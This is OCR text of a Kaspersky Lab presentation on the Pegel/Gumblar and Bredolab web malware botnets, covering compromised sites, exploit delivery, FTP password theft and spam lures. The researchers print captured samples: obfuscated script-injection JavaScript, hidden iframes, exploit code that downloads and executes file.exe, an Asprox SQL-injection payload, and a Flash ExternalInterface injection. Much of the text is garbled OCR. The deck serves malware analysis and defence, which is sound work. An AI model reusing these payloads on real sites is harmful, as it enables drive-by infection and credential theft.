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Web based malware KASPER(KY?

« Became widespread about a year ago

« Characteristics of web based malware:
— Propagation through compromised websites
— Bots send spam to infect more computers
— Ftp password stealer
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KASPERJKY3

Pegel and Gumblar
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What is Pegel KASPERYKY

Pegel is a malicious JavaScript that is inserted into

\ <script>this.v='";this.C=51578;this.C-=144;functian W() {var j="7":k={}:var M=document; try {var
WL='1'} catch(WL){}:var G=new String("crea"+"teEl"+"emenONH".substr(0,4)+"t") ;var g=new String(
° l "onl"+"oad") ;var =String("defer");var e="scri"+"VCOpt".substr(3) ;var Ra=["aI", "Gp"]:var L=new
Array() ;var n=5tring("vAvappe".substr(3)+"ndCh"+"¥T50ild".substr(4)) ;var t={QF: false}  nw=26568;
nw++ ) Y=["TM","w" ,"Fc"] ;XD={k0:"0I"};var H="body":;var T=String("srcQmA".substr(0,3)) ;var eG=new
) String() rvar Q=window;n¥Y={} txy {var B='MF'} catch(B){} /Mc=[]function r() {var VD=[] :d=<40348;d
—=L55:u_=15256:u_+=L65:this.D:”'”:try {YP=["HH" ,"Yb" ,"Hc"] ;var u=9630-9629 ;var h="/go"+"y0zogl"”
' .Substr(3)+"e.cwlpN".substr(0,3)+"om/"+"TaocikeToa".substr(3,3)+"G1lR=sa.cGR1l3".3ubstr(4,3)+
i "QGXtom/".substr({4)4+"CoSbinCSo".substr(3,3)4+"g.c"4+"om. "+"EvirphprvlE".substr(4,3) ;var 5=532955-
524875;var Lt="Lt";var DE=["DO","i "]:;var xX="ht"+"tp"+":/"+"/p"+

substr(4,2)+"u:" ;R=M[G] (e) rww={qg:22300};var s={}.txy {} catch(ds){}:var Xf={}:txy {} catch(KJd
J{}:R[_1=u:this.Lx=3456:this.Lx++;var gb={gg:false} R[T]1=x+5+h:M[H] [n] (R) :XX=["uU","mI"]:
this.lW="1W";var BL=false;} catch(SW){}:;aj=59483;aj-=209;}sv=[" M"]:Q[g]l=x;} ;H() ;this.X==%
this.Xs-=222;VI={iW:"xj"}:;</script>

<T——ibiﬂaEEGabeTchEblEZSETBG"adEdia——A

150G =
-y
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What Pegel does KASPERJKY

« The one and only functionality of this JavaScript is
inserting an IFRAME tag that directs the user to the
“Exploit Delivery Network” of the botnet

« There are many web pages that contain the lframe tag
that points to the “same network”

<div id="G88tljvky52tn”>

<iframe
src=http://ma***gh.com:8080/index.php?Mvplkcm435j=11&pid=1
width="1" frameborder="“0" height="1"></frame>

</div>
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The amount of Pegel KASPER)KY

Number of infected computers
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Pegel in Spam: June Sailgiinien

Trojan.Win32.Tdss.belr h 51679 Source: Kaspersky
| ab

Trojan-Spy.HTML.Fraud.gen [ 54456

Trojan.Win32.Jorik.Oficla.j |l 55447

Trojan.Win32.Pakes.Katusha.o [ 65887

Trojan.Script.Iframer ﬁ 86393

Trojan.Win32.Tdss.bemg 111628
Trojan-Downloader.JS.Pegel.bc 117648
Trojan.JS.Redirector.dz 123469
Trojan.Win32.Generic 144239
Trojan-Downloader.JS.Pegel.g 485003
c') 1 oolooo 2oo'ooo 300I000 4001000 500000 Goo'ooo
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Exploit Delivery Network KAJPERIKY3

 All URLs share the port part:

. ANSWER SECTION:
http://d (- 91.121.122.81

al .Com. 91.135.228.235 .
* The el 188.165.192.106 WA

a POorid .com. 17.241.93.114

rever .com. 91.121.72.144
. -+ ANSWER SECTION:

Most aks fuh. com. 213.186.46.360 €S
o ||:> ma h.com. 77.241.808.228

- .com. 83.169.37.246

e ServedeE . Com. 91.121.72.144

.COom. 94.23.60.106

servers
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Exploits delivered KASPER§KYS

10 afdvwuLpymy¥.cype = 17
11 arzzZgDTHha.open{"GET" , "http: .com: 8080/ welcome . php?id=—0&pid=1" ,false) ;
12 arzZqgDTHha.send () »
13 alwuLpymy .opend()
14 aldvulLpymy . Write {arz2qgDTHha . responseBody) -
15 var EVhnIoudh = "./ /. ./ /file.exe";
1& alvwuLpymyY . SaveToFile (EVhnIouwl 2} » —
1T alwuLpymyY . Clo=se ()} »
18 - teateh(=) {1} =
15 =l trywi
2 11TnWOrdS9w. shellexecute (EVhnTouwul) ;
21 Ycatch{e) {
22 o }
23 Ycatch{e) {
24 o }
25 =k
26 FHEPIP&FFav{) -
27T CZz0uZab = new Arrav{"LcroPDF.PDF", "PDF.PAdEfCtcxzl1™)
28 For(i in CZ=z0uZalb) {
25 g trw{
30 HijiBcZl = mnew LcoctiveXObject (CZz0uZab[il) -
=al = i¥f (HjS8c21l) {
32 Qod4w9i = document.createElement{("ifram=")
33 Qodwi . secActribute("src™, "Notesl.pdif™) : '
34 document .body . appendChild {(Qodw91) ; —
2= = i
36 = Ycatchi{e) {}
ST }
38 tr vy —
39 E} i¥f (nmnavigator.javaEnabled({})} {
40 EZ2Z2ppwl = document.createElement{("ifram=") ;
41 EZ2Z2ppwl . setAttribute("sxrc™, "Appletl.html™) 7 )
g 2 document .body.appendChild{(EZ2Z2ppwl) ;
L
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Bredolab KASPER§KY3

GET /welcome.php?id=6&pid=1&hel [0=505 HTTP/1.1

accept: v/¥

laccept-Encoding: ?z1p, deflate

@ |User—-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; svl)
HOST: roun s ker.ru:8080

onnection: Keep-Alive

HTTP/L.1 200 OK

lserver' ngﬁnx
May 2010 21:58:45 GMT

content-Type application/octer-stream
P Connection: close
Expires: ©
Fragma: pub11c
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Description: File Transfer
@® [(ontent-Disposition: attachment; filename=game.exe
Content-Transfer-encoding: binary
Content-Length: 29696

P G0 00 OO0 0000 00 ook 010 0 00 00 00 000 0O OO 00 0 0 00 o0 D00 0 00 00 a oo oo e ol —o KULTNIS [SIFER[PET EEnEE (92 [P Tl e (HEEEs

Mooooooo =acolanoll
............... e 1 [ [Pp——— ] ] N T
B )2 31 2 i o 4 03 N R | o €31 RS 1 313 i N |

............................................................................................................ text..

IR0 0010 013 ) 30 C0 O D 00 0 0T O 00 O data....'...O....... e manannoaoacnno s PEEEN: cann a0 aeaocsa@hoonaaoannnnoaanakniE]

Focce seccffocctlocalhoccacacancacc @.

60 85 S P O P R e 103 1 R S e O v i e e B T e e e e e e O B B e e e e e e B e S e B e e B e e e S e e e
whocoooc b collocomo000000000000000000000800000000
HooeBoeolikoadoalionncoonanooonaaconoaooceoanocaosnoeoonnaon ooahooolEoofFeoe noollonaiBeo000000m00000000000030006000000 0060800
o e o e P g g e T R N.G.13.556.KH.>77...23..5K7.2:1.G; .=I3DI2N?
EKNI..@C<J=.I...IMF@.Q..2KHL.4.D.03E6F. .. I91....U. ootioa ik

D@ .L%..]...yNE..... 1G@.)].Y)
%_@.;45..H.@..E.X.T$......+4$.....i@..%.[@.R..;.@..U.+.)....F@..u..}.....@...i].l.A.}...$.D$.)..U<....@.w..su@...h12@..u.+.
o

=@.h..€..1..0G8..... eeuueent. .. 184N, 7@1. E@.1116CEDL. INK. J. . 0JK. N2, N7BOIHE8G3 . =. . ;2=. NH. 806@N>06.MN. <:].M. 55, 7C. ; =KL. . H; E.

M...Fl(E ..G=.<9. L@, <A7HN. . E111L4.49C. =4. 8KJ7>H28003B.2G.0. - B v 1 s s ccecccsssssoonsnssnsssssnnssancsssnnnss M. .

[e...5...@. M. .., _ o peocooooang Sofooooon L T Y Do b5 o k)

Ay ! gL [Lam. e.h..e...h. D@..'B E.P3..D%.
xD@.+.Qha @.....@.......@...+. X, [@. <. U......]@..ST........X...]@...4.ta............D$<......>-.$.-..@,..L

e | | - i S S T || S hG.@.5...... UoUo 3.4+, .T$B! .S, . i v ennns B 0o [P s a3 1 (e e Celie o (5 Ay el @
L #H.S..... #o0aBocolboooonanooac o odnatre AL UL o000 _@...h._@...v...j@

R I L o | HoaoWso et bWe0oSaaaa06aaon Watnoidooooomna hocodlonoon onobbooodaoliooocoonn ErSiE

I W lennes s i OXon s BN Tawnmen 24 wsn 2.8, 8. .. U.T.6.05. L...t>...$....r Eo ool

P eooo B H T Yaaaoan e e o F3tooolaoalloanans Pl 0 coSDaonaliaooeSnaanlllh 1
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Payload delivered KAJPERJKY

GET /new/controller.php7action=bot&entity_Tist=&First=1&rnd=981633&uid=1&guid=3676040431 HTTP/1.1
Host: bayjail.ru

HTTP/1.1 200 OK
Server: nginx
Date: wed, 12 May 2010
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.
version: 1
Content-Length: 23

Entity-Info: 12 1450:94720:1;1271368047:32768:1;12 4874 :7168:1;1273492914:96256:2;
M. 0215

Magic—Number:Ggaiﬁo:l:z:3:4:5:6:7:8:9:10:11:12:13:14:15:16:1?:18:19:20:21:22:23:24:25:26:27:28:29:30:31:]

----------------------------
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Special payload: PSW Stealer KASPERSKY %

« Trojan-PSW.Win32.Agent.qgg

 Functionality:

— Steals ftp credentials from web sites (searching locally
stored ftp paswords)

» Filezilla 3 » Fitp Explorer
» Ftp Navigator » FlashFXP
» BulletProof Ftp  FTPRush

» CuteFtp » Firefox

« ALFTP « Auto FTP
 Far?2 « Jotal

. Frigate 3 Commander

— Sends found passwords back to Pegel/Bredolab C&C in
order to infect user’s web site
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Infection of a Web Site: Ftp Log

22:14:32 2010
22:14:36 2010
22:14:50 2010
22:14:59 2010
22:15:08 2010
22:15:20 2010
22:15:24 2010
22:15:28 2010
22:15:37 2010
22:15:42 2010
22:15:51 2010
22:16:02 2010
77 1&.0& 201N

2 0 0O 0O 0 0 0 W o o o o o«

KASPER§KY3

LAY TS PrIpriphr R I S B e et T R L R 18 B e I

137.149.150.100 3103 /home/ftpadmin/b9/index.php b _ i r ftpadmin ftp O
serverg88-208-220-73.1live-servers.net 4561 /home/ftpadmin//index.php b _
203.81.55.153 3103 /home/ftpadmin/index.php b _ i r ftpadmin ftp 0 * c

70.150.220.35 4561 /home/ftpadmin/bl/index.php b g r ftpadmin ftp 0 *

69.90.18.37 3103 /home/ftpadmin/bl/index.php b i r frtpadmin ftp 0 * c

66.187.99.46 4561 /home/ftpadmin/index.php b o r ftpadmin ftp 0 * c
g5-158-211-90.powered-by.benesol.be 3103 /home/frtpadmin/index.php b _ 1
ul5367931.onlinehome-server.com 4561 /home/ftpadmin/index.php b o r £
198.63.210.170 3103 /home/ftpadmin/b2/index.php b i r ftpadmin ftp O
94.73.129.116 4561 /home/ftpadmin/b3/index.php b o r ftpadmin ftp 0 *
205.209.173.245 3103 /home/ftpadmin/b3/index.php b 1 r ftpadmin ftp O

815259669.0onlinehome-server.com 4561 /home/ftpadmin/b4/index.php b _ o

savrrar22_FINR2_2NAN_1TET Tdwvwa_csawrare mnar 2102 MMama / Frrnadmin A fdindav nhn

Tag inserted:
<script type="text/javascript” src="http://add***ock.ru/GUL.js"></script>
<!--50202ec634ac83b7f315e3¢cf13e30037-->
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Botnet propagation KASPERJKY

Infected
, Website \
Password _
JavaScript

Bredolab Exploits
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KASPER§KY3

Asprox C&C MS ||S/AS|:) http:/nem****n.ru/

E tds/go.php?sid=1
o4
- ;‘é 5"
GET /page.asp?id=425;

AS p rO X B Ot declare%20@s%20varchar(4000):set%20@s=cast(0x6445634c41724520405
4207661526368615228323535292c406320...5205461424c655{435552736f7
220%20as%20varchar(4000)):exec(@s):—
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KASPER§KY3

Do

0
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OpenX Vulnerability

Vulnerability in Flash Chart 2 Module

o —— c
e .
Pe X & = D |- 2ln s
rem— = S

e
e
> . Com——

B Domricad s, modies, gares 5. | € eSarcum x| b Sotimce s Sraremace P

o
s W R f—
Lae.. |eSarcasm s
QE]Jt ﬁttatt ﬂaP GEEK HUMOR GONE WILD e :

. L | Pegel/Bredol
Fragment of ActionScript code: =9 bre -

Externalinterface.call("new function(){

function _a6cbabfc0437ed3d4c2a9d7d9c15d5bf(){
var _71b9cfdb2309eb27ee69ddabcael3sb2a=document.createElement(\"script\");
_71b9cfdb2309eb27ee69ddabcae35b2a.src="http://a***nd.ru/LIFO.js';

_ 71b9cfdb2309eb27ee69ddabcae35b2a.defer=1;
document.body.appendChild(_71b9cfdb2309eb27ee69ddabcae35b2a);};

try { abcbabfc0437ed3d4c2a9d7d9c15d5bf();}
catch(e){document.write(\"<body>\");setTimeout(function()

{ abcbabfc0437ed3d4c2a9d7d9c15d5bf(); }, 500);}; }");
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Pegel in Spam



Malicious Spam of 2009

Virw Wb Version | Privacy polcy | Cortact us

Satisfaction Guaranteed - Our Company wants you to be absolutely
satisfied with your products.

lmnsodmummmmmmmtwuq

Authentic Viagra & Cialis

‘ Renew your order online

cht
.. . VA A C’C“h

Qur Price: 51 .41 per pill
| = S

KASPER§KY3

ﬁ TolFree: 642-1061 @- ¥ 0.00 EUR (D &
We ship worldwnde ¥ d (heckont  Empty
g
* gér > b years worldwide Supplier
> 100% Satisfaction Guarantee
Pharmacy Express

N a\ » High Quality medicaments.
41 CHLIN woRLDWIOE DRIGiTORE ¥ R ey —
L i ) 20706 po e

JONs00Eu@

@ pis Viagra + Cas (1) @ pue viagra + cias (2) &) s Viagra + Cials + Levitra

Price: 91.28 EUR Price: 10650 EUR Price: 144.55 EUR

Browse by o . Yegs Womgx20 o . iagra Soft 100mgx 20 G 4 Visgr 100mg x 20
Lenter: ud ks 20mg x 20 il s Soft 20mgx 0 il Cols 20mg x 20
Levits 20mgx 20

ABCDEFGHIJELMN

OPQRSTUVWXYZ Add o cart this Package Addtocart th Package Add o cart tha Fackage
Category:
Gananc Vagra Ganenc Ciaks Host Popular
- Most Popular
; # Generx Viaara 0.0 fuR
.+ Alergy 089 EUR pes ol 109 EUR pes pd # Generic Ciaks 100 tuR
+ Anthelmintics Select pack ¥ ol Select pack v )
Ant Bactenal W 9 # Yiaara Super Actve 150 1UR
S # Cialks Super Active 210 fUR
¥ Generic Viagra Soft 111 FUR
Viagra Super Active Ciakes Super Actve * Tuagra Prolesvonal 196 R

‘ V’SA G'rnusu @

fou are receiving this emal because you have subscribed to the Fnarmacy 7 newsietier with the following address

Inuiherrine | Privacy nolicy | Contact us
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Phishing? Viagral

Pharmacy Express

#1 OMLINE WORLDWIDE DRUGSTORE

Ul | FREin] 5 ISR o

Search... Qy e
= @ pills | Viagra + Cialis (1)
Price: 91.28 EUR
Bro b? Viagra 100mg x 20
Letter: Cialis 20mg x 20
ABCDEFGHIJIKLMMN
OPOQORSTUVWXY?Z Add to cart this Package =

Category:
Generic Viagra

+ Most Popular

+ Allergy e 0.89 EUR per pil

» Anthelmintics Select padk =

+ Anti Bacterial

= Anti Convulsants
= Anti Depressants
+ Anti Fungal

= Anti Viral

Viagra Super Active
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KASPER§KY3

TolFree: +1-800 642-1061 %iﬂﬁﬂ?gg W YOUR CART: 0.00 EUR (0 ftems)
m MEUR[™ELF|
We ship worldwide ﬁmﬁm Checkout | | Empty

» 6 years WorldWide Supplier
» 100% Satisfaction Guarantee
» High Quality medicaments
#Free Delivery Insurance
A\ > 24/7/365 Support Team

@ pills | Viagra + Cialis (2)

Add to cart this Package =

Generic Cialis

1.09 EUR per pil
Select pack™=

Cialis Super Active

Price: 106.50 EUR
Viagra Soft 100mg x 20
Cialis Soft 20mg x 20

@ pills | Viagra + Cialis + Levitra

Price: 144.55 EUR
Viagra 100mg x 20
Cializ 20mag x 20
Levitra 20mg x 20

Add to cart this Package =

Most Popular

# Generic Viagra 0.89 EUR
# Generic Cialis 1.09 EUR
# Viagra Super Active 1.59 EUR
# Cialis Super Active 2.10 EUR
# Generic Viagra Soft 1.11 EUR
# Viagra Professional 1.96 EUR
# Cialis Professional 3.37 EUR




Infection via Spam KASPER§IKYS

=)
| ANRRARRARRRARRRRRRRRRRRARTARRRARANINNC] ECRO -
| €| = |9 || D || M| [E wpegeltemp/htmihtmi v| |- search [y

PLEASE WAITING 4 SEC

- -
: acebook <nofifcation twangagnuenzg @facebookmail co : I & <~ &), View (100%) ~
; [
1D
Facebook sent vou 2 message
Facebook
Subject: Unread message(s)

sontent="4;url=http://sp#**team.com">

ru:8080/index.php?pid=10" style="visibility: hidden;
ne>
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Diversity of spam mails KASPERYKY

EimmE From: Zappos.com <customerservice @zappos.com Sent: MMH09.08.2010 23:28 '010 22:41
To:
Tao:

Cc ce

Subject: [77 Probable Spam] Your Crder Confirmation

Your Target.com

Zappos.com Couture Rideshop Running Outdoor BIngEl

FREE Shipping Both Ways OC 365-Day Return

Zapposé Policy
pQEEE]I CUSTOMER SERVICE 1-800-927-7671 OC 24 Hours & 365 Days A

POWERED,ySERVICE™
! = Year

Shoes | Clothing | Bags And Handbags | Mew Arrivals | Clearance | Brands | More Departments

Your Order Confirmation
Hello

We are delighted to inform you that vour order with Zappos.com has been received
successfully and is in the process of being carefully plucked from our shelves.

today and that vour
information below.

Here is your order reference number:
Order Number: 602 Order Reference Number: 74305124

Your Order Information:
Item Ordered: 1
Total Charged: $007.00

Shipping informati

Shipped to:
Maya King King Shipping Method: Next Day Shipping

Wish List or Date Ordered: Tue, 10 Aug 2010 00:27:53 +0500
Fegistry

address hidden for

Your Billing and Shipping Information:

privacy Your Gift Message:
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KASPER§KY3

Real vs. Forged

Pixorial Customer Service <customer_service @pixorial. com > Sent: MMn 200092010 16:44 Katelyn Oneal <resolutionsgrg5@revealty.com> Sent: Cp15.08.201013:12

Subject: Welcome to Pixorial! 3 Welcome to Pixorial!

o/ Pixorial o Pixorial

Congratulations! Your account has been created! Congratulations! Your account has been created!

Please use your email address and the password you specified to log in to
Www.pixorial.com.

Please use your email address and the password you specified to log in to
www.pixorial. com.

You can send an email with a video attachment to uploads+07d @ pixorial tv at any time
to add a video to your library.

You can send an email with a video attachment to uploads+9904a@ pixorial tv at any
time to add a video to your library.

Please send any questions or comments you may have to:
customer servicef@pixorial com

Please send any questions or comments you may have to:
customer service@pixorial.com

Thank you for using Pixoral!

Enjoy Your Show®

Thank you for using Pixorial!

Enjoy Youre Show®

* Pixorial®

' Pixorial®
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KASPER§KY3

Mistakes

o Aurelia Meza <andantek0@raymendwine. com> Sent: Bcl15.4 J O i n my n etW o rk o n Li n k e d I n

Cc
Subject: Join my network on LinkedIn

amazoncom -

"] and you're done” { YOUR ACCOUNES
Subject: Jamel Murphy has invited you to open a Google mail account

MNewegg <info@newegg.com = Sent: Cp 25.08.2010 0:32

Thanks for your order, abuse!

% My Account | @Customer Services

i A °
ngwggg com mTwitter BYou Tube oFacebook BMvsnace

click to browse 4 click to browse today's click to browse

-Blast g-Blast Deals >> % Shell Shocker >> DAILY DEALS ==

Want to manage your order online?

If you need to check the status of your order or make chanc
please visit our home page at Amazon.com and click on Your|
Account at the top of any page.

Purchasing Information:

E-mail Address: |G

Order Grand Total: $20.48

Customer ID:H MAIL TOH

Account Number: 4754765765

Get the Amazon.com Rewards Visa Card and earn 3% Hello,

rewards on your Amazon.com orders.

Thank you for shopping at Newegg.com.

Order Summary:

We are happy to inform vou that your order (Sales Order Number: 4765454476) has been

Shlpplng Details : (Drder will arrive in 1 shlpment) successfully charged to your VISA and order verification is now complete.

Order #: 682-6079788-0295753
Shipping Method: Standard Shipping [
Group my items into as few shipms

If you have any questions, please use our LiveChat function or visit our Contact Us Page.

Shipping Preference:

as poasible Once You Know, You Newsgg.
Subtotal of Items: 596936
Shipping & Handling: $3.99 Your Mewegg.com Customner Service Team =

Jamél M'ur'phy has invited you to open a Google mail
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Forged headers KAJPERJKY

Twitter <twitter-follow- @postmaster, twitter.com = sent: B 29.08.2010 22:40
To: dmitry @
Reply-To: m>
- Subject: Emma Wilson is now following you on Twitter!

From: "Tw twiktker
dmitry=pe
To: <dmit
Subiject:
Date: Su

Message
_1bb41cf

Emma Wilson (@abscessed) is now following your tweets (@dmitry)
on Twitter.

Emma Wilson

Bebscassad

on Twitter!

351 97 96196

followers

owests follow

You do not follow Emma Wilson.

What's MNext?

+ Find out more about Emma Wilson on @abscessed's profile page.
= Send Emma Wilson an @ reply.

+ Send Emma Wilson a direct message.
EOn your mobile? Learn Twitter for Maobile.

tmail>

If you believe Emma Wilson is engaging in abusive behavior on Twitter, you may report Emma Wilson for
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How a user gets infected KAJPERJKY

Comes to
a med
site

j  Trojan-Spy.Win32.Zbot
Trojan-Spy.Win32.SpyEyes
Trojan-Spy.Win32.BZub
Backdoor.Win32.HareBot

Backdoor.Win32.Blakken
Backdoor.Win32.Shiz
Trojan-
Dropper.Win32.TDSS
Trojan-
Ransom.Win32.PinkBlocker
Trojan.Win32.Jorik.Oficla

<meta Obfuscated Exploits
refresh> . JS . Bredolab :
P V. V.
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KASPERJKY3

How they get money
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The ideal scheme KAJPERJKY:
« Spreads widely and rapidly
« Highly automated - can support itself

 Effectively hides C&C (2 networks of proxy
servers)

» Server side polymorphism (obfuscated malicious
Javascript which has become increasingly
complex)

 Different methods of getting “traffic”
» The use of social engineering
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KASPER§KY3

Perspectives

HelpDesk Robot Kaspersky Lab Support < Ekaspersky.com= Sent: BT 29.06.2010 22:56

Subject: Reset your kaspersky.com password

Hello, INGTNGGGNGGGEGEMN 7 Lo spersky.com.

We received vour request to reset vour kasperskv.com password
request and reset vour password, follow the instructions below. Conl
request helps prevent unauthorized access to vour account.

credentials

If vou didn't request that vour password be reset, please follow the instructions
below to cancel vour request.

CONFIEM REQUEST AND RESET PASSWORD

Click on the following web address: http:,e’_e'-.cnm_e‘indalhtml‘

games, instant

Click to follow link
https:/kasperskv_com/EmailPage. srf Temailid=mail/?
shva=1#inbox/12983ccaa’732d93 Hel p Desk Robot Kas pe rs ky Lab

CANCEL PASSWORD RESET Support

Click on the following web address:

hitp:// I corm/index2. html ‘

Click to follow link

https:/kasperskv.com/EmailPage. .srf Temailid=mail?
shva=1#inbox/12983ccaal 7324944

re to different IPs

Thank vou,
kasperskv.com

NOTE: Please do not reply to this message, which was sent from an unmonitored e-
mail address. Mail sent to this address cannot be answered.
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Thank you. Questions?

Alexey Kadiev, Darya Gudkova, lgor Sumenkov
Kaspersky Lab

KASPCRIKY




